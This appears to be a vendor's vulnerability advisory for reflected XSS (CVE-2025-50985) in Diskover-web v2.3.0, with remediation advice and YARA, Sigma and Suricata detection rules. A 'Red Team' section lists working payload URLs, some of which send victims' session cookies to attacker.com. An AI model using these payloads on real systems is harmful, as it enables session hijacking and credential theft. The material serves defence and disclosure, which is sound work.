CVE-2025-50985
Executive Summary
CVE-2025-50985 identifies multiple reflected cross-site scripting (XSS) vulnerabilities in Diskover-web v2.3.0 Community Edition. The web interface unsafely echoes unsanitized GET parameters (maxage, maxindex, index, path, q, doctype) directly into the HTML response. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Diskover-web is a PHP-based application distributed as a community edition. No official package manager (NPM, PyPI, Go, Ruby) distribution is involved. The risk is limited to direct deployment of the vulnerable version.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – exploit delivered over HTTP.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed to trigger XSS.
- User Interaction (UI): Required (R) – victim must click the crafted link.
- Scope (S): Changed (C) – XSS can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – limited ability to modify content.
- Availability (A): None (N) – no direct impact on availability.
Base Score: 6.1 (Medium)
Threat Level: Medium. Exploitation requires user interaction, but the lack of authentication and the presence of multiple injection points increase the attack surface.
Deep Dive & Mechanics
The vulnerability resides in the PHP backend of Diskover-web. When a user submits a GET request to any page that reflects parameters like index, path, or q, the application directly embeds the parameter value into the HTML output without proper encoding or sanitization.
Example vulnerable endpoint: /diskover-web/search.php?q=<script>alert(1)</script>
The server returns a page containing:
<input type="text" name="q" value="<script>alert(1)</script>">
Because the value is not HTML-entity-encoded, the browser interprets the injected script tag and executes it. The same pattern applies to maxage, maxindex, index, path, and doctype.
Attack flow:
- Attacker crafts a URL:
https://victim.com/diskover-web/search.php?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Victim clicks the link (e.g., via phishing email).
- The script executes, exfiltrating the victim's session cookie to the attacker's server.
- Attacker uses the cookie to impersonate the victim.
Vulnerable vs. Patched Code
Vulnerable code (PHP):
$q = $_GET['q'];
echo "<input type='text' name='q' value='$q'>";
Patched code (hypothetical):
$q = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='q' value='$q'>";
The patch uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install Diskover-web v2.3.0 Community Edition on a local VM (e.g., Ubuntu 22.04 with Apache + PHP 8.1).
- Ensure the web interface is accessible at
http://localhost/diskover-web/.
Exploit Payloads:
Basic alert (proof of concept):
http://localhost/diskover-web/search.php?q=<script>alert('XSS')</script>Cookie theft:
http://localhost/diskover-web/search.php?q=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>Session hijacking via
pathparameter:http://localhost/diskover-web/index.php?path=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Automation with curl:
curl -v "http://localhost/diskover-web/search.php?q=<script>alert(1)</script>"
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>oronerror=in GET parameters. - Example log entry:
192.168.1.100 - - [10/Oct/2025:12:34:56 +0000] "GET /diskover-web/search.php?q=<script>alert(1)</script> HTTP/1.1" 200 1234
Mitigation:
- Apply input validation and output encoding (see Remediation).
- Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
- Restrict access to the web interface via VPN or IP whitelisting.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/diskover-web/with parameters containing<script>,onerror,onload, orjavascript:. - Outbound connections to unknown domains from the Diskover-web server (potential data exfiltration).
- HTTP requests to
- File IOCs:
- Modified PHP files in
/var/www/html/diskover-web/(if attacker gains write access via XSS).
- Modified PHP files in
- Log IOCs:
- Web server access logs showing unusual parameter values with HTML/JavaScript tags.
Detection Engineering
YARA Rule
rule CVE_2025_50985_XSS_Diskover {
meta:
description = "Detects reflected XSS attempts against Diskover-web v2.3.0"
author = "Valters IT"
date = "2025-10-10"
reference = "CVE-2025-50985"
strings:
$xss1 = /(maxage|maxindex|index|path|q|doctype)=.*<script/i
$xss2 = /(maxage|maxindex|index|path|q|doctype)=.*onerror/i
$xss3 = /(maxage|maxindex|index|path|q|doctype)=.*onload/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Diskover-web
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with XSS payloads in Diskover-web GET parameters
author: Valters IT
date: 2025/10/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-50985
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
cs-uri-query|contains|all:
- 'maxage='
- 'maxindex='
- 'index='
- 'path='
- 'q='
- 'doctype='
condition: selection
falsepositives:
- Legitimate use of JavaScript in search queries (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-50985 Reflected XSS in Diskover-web";
flow:to_server,established;
content:"GET"; http_method;
content:"/diskover-web/"; http_uri;
pcre:"/(maxage|maxindex|index|path|q|doctype)=.*(<script|onerror|onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-50985;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable vulnerable endpoints if possible by modifying Apache/Nginx configuration to block requests with suspicious parameters.
- Apply input validation – whitelist allowed characters for each parameter (e.g., alphanumeric only for
index). - Implement output encoding – use
htmlspecialchars()in PHP or equivalent in other languages.
Long-term Fix:
- Upgrade to a patched version once released by Diskover.
- If no patch is forthcoming, consider migrating to an alternative file indexing solution.
Compensating Controls:
- Deploy a WAF with OWASP Core Rule Set (CRS) to block XSS.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Use HTTP-only cookies to mitigate session theft.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.